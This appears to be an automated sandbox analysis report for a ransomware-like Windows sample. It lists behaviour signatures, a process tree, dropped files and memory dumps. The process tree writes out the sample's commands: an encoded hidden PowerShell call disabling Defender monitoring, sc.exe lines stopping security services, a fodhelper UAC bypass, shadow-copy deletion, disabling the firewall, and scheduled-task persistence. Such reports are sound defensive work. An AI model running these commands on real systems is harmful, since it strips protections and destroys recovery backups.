Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    05/05/2026, 03:59

General

  • Target
    2026-05-05_8afdf96e9d2c14fb5a7b2491eb979b6c_destroyer_elex_glassworm_ngrbot_wannacry.exe
  • Size 49KB
  • Sample260505-ej877abz9q
  • SHA256 9548d2672a0481ea3f93c90e08c92306fbe3e4fb1ff1d4962795bbf5d1a6ac20
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Detects command variations typically used by ransomware 2 IoCs
  • Detects executables embedding registry key / value combination indicative of disabling Windows Defen 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-05_8afdf96e9d2c14fb5a7b2491eb979b6c_destroyer_elex_glassworm_ngrbot_wannacry.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-05_8afdf96e9d2c14fb5a7b2491eb979b6c_destroyer_elex_glassworm_ngrbot_wannacry.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5560
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:3308
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5124
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:3712
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:3580
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:4056
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3236
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:6056
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4780
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:448
      • C:\Users\Admin\AppData\Local\Temp\2026-05-05_8afdf96e9d2c14fb5a7b2491eb979b6c_destroyer_elex_glassworm_ngrbot_wannacry.exe
        "C:\Users\Admin\AppData\Local\Temp\2026-05-05_8afdf96e9d2c14fb5a7b2491eb979b6c_destroyer_elex_glassworm_ngrbot_wannacry.exe"
        3⤵
          PID:4360
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:3044
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-05_8afdf96e9d2c14fb5a7b2491eb979b6c_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3172
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4412
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:4904
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2668
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3212
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            3⤵
            • Gathers system information
            PID:1300
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2224
          • C:\Windows\system32\tasklist.exe
            tasklist
            3⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:5896
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1904
          • C:\Windows\system32\whoami.exe
            whoami
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2372
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4716
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:5200
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:2524
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:6104
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:5504
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5272
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              • Suspicious use of AdjustPrivilegeToken
              PID:4448
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\2026-05-05_8afdf96e9d2c14fb5a7b2491eb979b6c_destroyer_elex_glassworm_ngrbot_wannacry.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4040
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
              PID:4964
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:1028
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:5848
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:5592
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:5004
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:6012
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:5576
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:4832
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:2112
              • C:\Windows\system32\LogonUI.exe
                "LogonUI.exe" /flags:0x0 /state0:0xa3a21055 /state1:0x41c64e6d
                1⤵
                • Modifies data under HKEY_USERS
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of SetWindowsHookEx
                PID:5604
              • C:\Users\Admin\AppData\Local\Temp\2026-05-05_8afdf96e9d2c14fb5a7b2491eb979b6c_destroyer_elex_glassworm_ngrbot_wannacry.exe
                C:\Users\Admin\AppData\Local\Temp\2026-05-05_8afdf96e9d2c14fb5a7b2491eb979b6c_destroyer_elex_glassworm_ngrbot_wannacry.exe
                1⤵
                  PID:5352
                • C:\Users\Admin\AppData\Local\Temp\2026-05-05_8afdf96e9d2c14fb5a7b2491eb979b6c_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  C:\Users\Admin\AppData\Local\Temp\2026-05-05_8afdf96e9d2c14fb5a7b2491eb979b6c_destroyer_elex_glassworm_ngrbot_wannacry.exe
                  1⤵
                    PID:4388
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4704

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        invoice_1.pdf

                        • Path C:\ProgramData\invoice_1.pdf
                        • Size 66KB
                        • SHA256 47a9dea0c850917bfdd9c852e0af18d793173d3e2e797218d2469f494900a65c
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_3.pdf

                        • Path C:\SystemVolumeInformation\doc_3.pdf
                        • Size 66KB
                        • SHA256 ac0ff850bb70b37823c94e56650ba0873d1064ca58f68214328ee08304f5de22
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        2026-05-05_8afdf96e9d2c14fb5a7b2491eb979b6c_destroyer_elex_glassworm_ngrbot_wannacry.exe.log

                        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\2026-05-05_8afdf96e9d2c14fb5a7b2491eb979b6c_destroyer_elex_glassworm_ngrbot_wannacry.exe.log
                        • Size 660B
                        • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                        • MD5 SHA1 SHA512 TLSH

                        __PSScriptPolicyTest_r102ho5t.lsj.ps1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r102ho5t.lsj.ps1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 309B
                        • SHA256 32b626fd0b440dc87e1ed612eb0f7c3098bb90547d4101e34b35461854cbd706
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 310B
                        • SHA256 ff81f1f6b6f2a0884e2569eec6101f2e3af47f91cad42763adc650f319511ee6
                        • MD5 SHA1 SHA512 TLSH

                        sysupdate.exe

                        • Path C:\Windows\System32\sysupdate.exe
                        • Size 49KB
                        • SHA256 9548d2672a0481ea3f93c90e08c92306fbe3e4fb1ff1d4962795bbf5d1a6ac20
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        memory/1028-2255-0x000001BB3A3A0000-0x000001BB3A3A1000-memory.dmp

                        memory/3044-2232-0x00000213A5BF0000-0x00000213A5BFC000-memory.dmp

                        memory/4088-2272-0x0000000000A40000-0x0000000000A50000-memory.dmp

                        memory/4088-2271-0x000000001C7C0000-0x000000001C7D2000-memory.dmp

                        memory/4088-0-0x00000000000B0000-0x00000000000C2000-memory.dmp

                        memory/4088-2270-0x00000000009F0000-0x00000000009FC000-memory.dmp

                        memory/4088-3-0x000000001D5B0000-0x000000001DAD8000-memory.dmp

                        memory/4088-2-0x000000001D3E0000-0x000000001D5A2000-memory.dmp

                        memory/4088-1-0x0000000000A40000-0x0000000000A50000-memory.dmp

                        memory/4964-2247-0x0000017E201C0000-0x0000017E201CC000-memory.dmp

                        memory/5560-1630-0x00000247E2630000-0x00000247E264C000-memory.dmp

                        memory/5560-2246-0x00000247E2670000-0x00000247E2678000-memory.dmp

                        memory/5560-2249-0x00000247E2BC0000-0x00000247E2BC6000-memory.dmp

                        memory/5560-2250-0x00000247E2BD0000-0x00000247E2BDA000-memory.dmp

                        memory/5560-2243-0x00000247E2BE0000-0x00000247E2BFA000-memory.dmp

                        memory/5560-2238-0x00000247E2660000-0x00000247E266A000-memory.dmp

                        memory/5560-2233-0x00000247E2BA0000-0x00000247E2BBC000-memory.dmp

                        memory/5560-2269-0x00000247C9ED0000-0x00000247C9EE2000-memory.dmp

                        memory/5560-2268-0x00000247C9E40000-0x00000247C9E4C000-memory.dmp

                        memory/5560-2024-0x00000247E2650000-0x00000247E265A000-memory.dmp

                        memory/5560-1662-0x00000247E2990000-0x00000247E2A43000-memory.dmp

                        memory/5560-183-0x00000247E25A0000-0x00000247E25C2000-memory.dmp